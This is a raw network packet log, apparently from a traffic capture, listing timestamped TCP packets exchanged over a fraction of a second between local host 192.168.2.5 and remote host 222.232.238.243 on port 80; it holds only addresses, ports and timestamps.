Aug 30, 2022 15:54:42.208127975 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208168030 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208187103 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.208210945 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208251953 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208272934 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.208292961 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208338022 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208349943 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.208379030 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208420038 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208461046 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208465099 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.208501101 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208542109 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208585978 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208630085 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208633900 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.208673000 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208678007 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.208714008 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.208714962 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208801985 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208841085 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.208842039 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208884001 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208897114 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.208925009 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208966970 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.208977938 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.209006071 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209050894 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209059954 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.209090948 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209130049 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209145069 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.209171057 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209212065 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209224939 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.209254026 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209296942 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209305048 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.209337950 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209378958 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209389925 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.209419012 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209458113 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209470034 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.209498882 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209538937 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209552050 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.209579945 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209621906 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209633112 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.209661007 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209701061 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209709883 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.209739923 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209779024 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209790945 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.209817886 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209857941 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209868908 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.209897995 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209939957 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.209949970 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.209978104 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.210017920 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.210030079 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.210061073 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.210100889 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.210114956 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.210140944 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.210180998 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.210195065 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.210223913 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.210266113 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.210282087 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.213121891 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.213165045 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.213218927 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.213269949 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.213327885 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.213350058 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.213356972 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.213387012 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.213406086 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.213417053 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.213444948 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.213465929 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.213495970 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.213525057 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.213543892 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.213553905 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.213581085 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.213603020 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.213610888 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.213761091 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.213893890 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.213985920 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.214071989 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.214096069 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.214142084 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.214181900 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.214211941 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.222714901 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.222790003 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.222845078 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.222882032 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.222918987 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.222978115 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.223041058 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.223088980 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.223104954 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.223197937 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.223249912 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.223279953 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.223309994 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.223467112 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.223488092 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.223532915 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.223592997 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.223603010 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.223650932 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.223701000 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.223709106 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.223758936 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.223805904 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.223819017 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.223869085 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.223949909 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.224005938 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224057913 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224102974 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224118948 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.224167109 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224211931 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224226952 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.224271059 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224313974 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224329948 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.224371910 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224414110 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224445105 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224484921 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.224500895 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224523067 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.224564075 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224617004 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.224623919 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224684000 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224731922 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224744081 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.224791050 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224838972 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224849939 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.224898100 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224951029 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.224956036 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.225004911 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.225050926 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.225061893 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.280591965 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.359380960 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.359445095 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.359489918 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.359545946 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.359589100 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.359594107 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.359633923 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.359637022 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.359675884 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.359718084 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.359759092 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.359772921 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.359807968 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.359839916 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.359915018 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.359930992 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.359956026 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.359996080 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360019922 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.360038042 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360081911 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360124111 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360166073 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360204935 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360244989 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360287905 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360328913 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360371113 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360415936 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360479116 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360523939 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360563993 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360605955 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360646009 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360687017 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360706091 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.360735893 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360750914 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.360781908 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360793114 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.360824108 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360867977 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360882998 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.360908031 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360948086 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.360960960 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.360991001 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361030102 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361049891 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.361074924 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361114979 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361129045 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.361159086 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361202002 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361213923 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.361244917 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361285925 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361296892 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.361325979 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361366034 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361377954 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.361406088 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361445904 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361462116 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.361486912 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361527920 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361536980 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.361567974 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361608028 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361618996 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.361649990 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361690044 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361704111 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.361730099 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361769915 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361782074 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.361809969 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361852884 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361860991 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.361891985 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361932993 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.361943007 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.361972094 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.362010956 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.362020969 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.362051010 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.362095118 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.362104893 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.362137079 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.362179041 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.362190008 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.362219095 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.362261057 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.362271070 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.362301111 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.362341881 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.362354994 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.371134996 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.371253967 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.371296883 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.371330976 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.371390104 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.427705050 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.428987980 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.509890079 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.509968042 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.509989023 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510008097 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510025024 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510045052 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510067940 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510087013 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510107040 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510147095 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510155916 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510175943 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510298967 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510318041 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510334969 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510353088 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510374069 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510390997 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510401011 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510453939 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510468960 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510482073 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510500908 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510519981 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510520935 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510536909 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510540962 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510555029 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510575056 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510586977 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510596037 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510601997 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510615110 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510618925 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510633945 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510652065 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510665894 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510669947 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510689974 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510706902 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510710001 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510729074 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510741949 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510747910 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510766029 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510785103 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510785103 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510804892 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510816097 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510823011 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510842085 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510855913 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510860920 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510879993 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510895014 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510899067 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510915995 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510930061 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510935068 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510956049 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510970116 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.510974884 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.510994911 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511013985 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:42.511032104 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:42.511033058 CEST	80	49728	222.232.238.243	192.168.2.5
